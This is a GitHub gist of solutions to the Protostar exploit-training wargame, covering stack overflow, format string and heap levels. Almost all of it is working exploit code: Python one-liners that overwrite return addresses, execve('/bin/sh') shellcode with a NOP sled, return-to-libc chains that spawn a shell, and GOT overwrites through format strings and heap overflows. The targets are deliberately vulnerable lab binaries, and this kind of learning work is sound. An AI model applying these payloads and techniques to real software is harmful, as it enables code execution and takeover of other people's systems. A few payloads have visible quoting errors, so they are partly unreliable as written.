Skip to content

Instantly share code, notes, and snippets.

@Grazfather
Created July 17, 2015 07:42
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save Grazfather/310c5e7979c964a44a9c to your computer and use it in GitHub Desktop.
Save Grazfather/310c5e7979c964a44a9c to your computer and use it in GitHub Desktop.
exploit-exercises.com protostar solutions

Protostar solutions

Stack

Stack 0

python -c "print 'A'*70" | ./stack0

Stack 1

./stack1 `python -c "print 'dcba'*17"`

Stack 2

GREENIE="`python -c \"print '\x0a\x0d\x0a\x0d'*17\"`" ./stack2

Stack 3

readelf -s ./stack3 | grep win
python -c "print 'AAAA'*16+'\x24\x84\x04\x08'" | ./stack3

Stack 4

readelf -s ./stack4 | grep win
python -c "print 'AAAA'*19+'\xf4\x83\x04\x08'" | ./stack4

Stack 5

import struct

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
buffer = 0xbffff810
delta = 0x4c # Distance to RA on stack
ra = buffer + delta

input = '\x90' * delta
input += struct.pack('<I', ra + 4)
input += shellcode

print input

Stack 6

  • address of system: 0xb7ecffb0
  • address of exit: 0xb7ec60c0
  • address of "/bin/sh": 0xb7fb63bf
cat <(python -c "print 'a'*80 + \xb0\xff\xec\xb7' + '\xc0\x60\xec\xb7'") - | ./stack6

Stack 7

Just ret to another ret!

  • address of system: 0xb7ecffb0
  • address of exit: 0xb7ec60c0
  • address of "/bin/sh": 0xb7fb63bf
  • address of 'ret' instruction: 0x08048553
cat <(python -c "print 'a'*80 + '\x53\x85\x04\x08' + '\xb0\xff\xec\xb7' + '\xc0\x60\xec\xb7' + '\xbf\x63\xfb\xb7'") -| ./stack7

Format str

Format 0

I spent a lot of time writing each byte separately, when I realized that it's sprintf, not just printf, so I can just overflow the buffer:

./format0 `python -c "print '%64u\xef\xbe\xad\xde'"`

Format 1

This one requires writing to a specific address, but they don't care the value (as long as it isn't zero). The only tricky part is getting the stack alignment consistent so that the distance between &argv[1] and printf's first argument is consistent. Need to pad the input string so that the argument is 4 byte aligned.

strace ./format1 `python -c 'print "\x38\x96\x04\x08%130$naaaaa"'`

Format 2

This is easier because the distance between the buffer that's being printed and the printf stack frame is consistent.

objdump -t | grep target gets us the address of target.

python -c "print '\xe4\x96\x04\x08%60u%4\$n'" | ./format2

Format 3

We can easily write each halfword in turn

python -c "print '\xf6\x96\x04\x08\xf4\x96\x04\x08%250u%12\$hn%21570u%13\$hn'" | ./format3

Format 4

Write over the value in the GOT that is used when exit is called with the address of 'hello'.

hello: 0x080484b4
exit: 0xb7ec60c0
exit@plt: 0x080483ec -> calls index in jump table
exit@got: 0x08048724 -> jmp table jmps to whatever this points at.

python -c "print '\x26\x97\x04\x08\x24\x97\x04\x08%2044u%4\$hn%31920u%5\$hn'" | ./format4

Heap

Heap 0

Allocations are ajacent and 0x48 bytes apart. Overwrite fp with the address of 'winner'. ./heap0 python -c "print 'a'*0x48 + '\x64\x84\x04\x08'"

Heap 1

The heap allocations are all nearby. The order they allocate it makes it so that the buffer looks like: <i1, *i1->name, i2, *i2->name>. We can overflow the first name so that it overwrites i2's pointer to the second name. We can then write whatever we want to the address in i2->name. First we overwrite the pointer to the second name buffer with the address of 'puts' in the GOT. With the second write we can overwrite the puts entry with the address of 'winner', and then when puts is called 'winner' will be called instead.

winner: 0x08048494
puts@plt: 0x080483cc
puts@got: 0x08049774

./heap1 `python -c "print 'A'*20 + '\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`

Heap 2

When the "reset" command is given, the auth structure is freed, but the pointer points to it. Entering "service" after will cause strdup to allocate near the same spot (0x10 bytes afterwards for me), so you can just provide a buffer longer than (32 - difference) and then enter "login" to have that data interpreted as the auth struct.

echo -e "auth \nreset\nservice aaaaaaaaaaaaaaaaa\nlogin\n" | ./heap2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment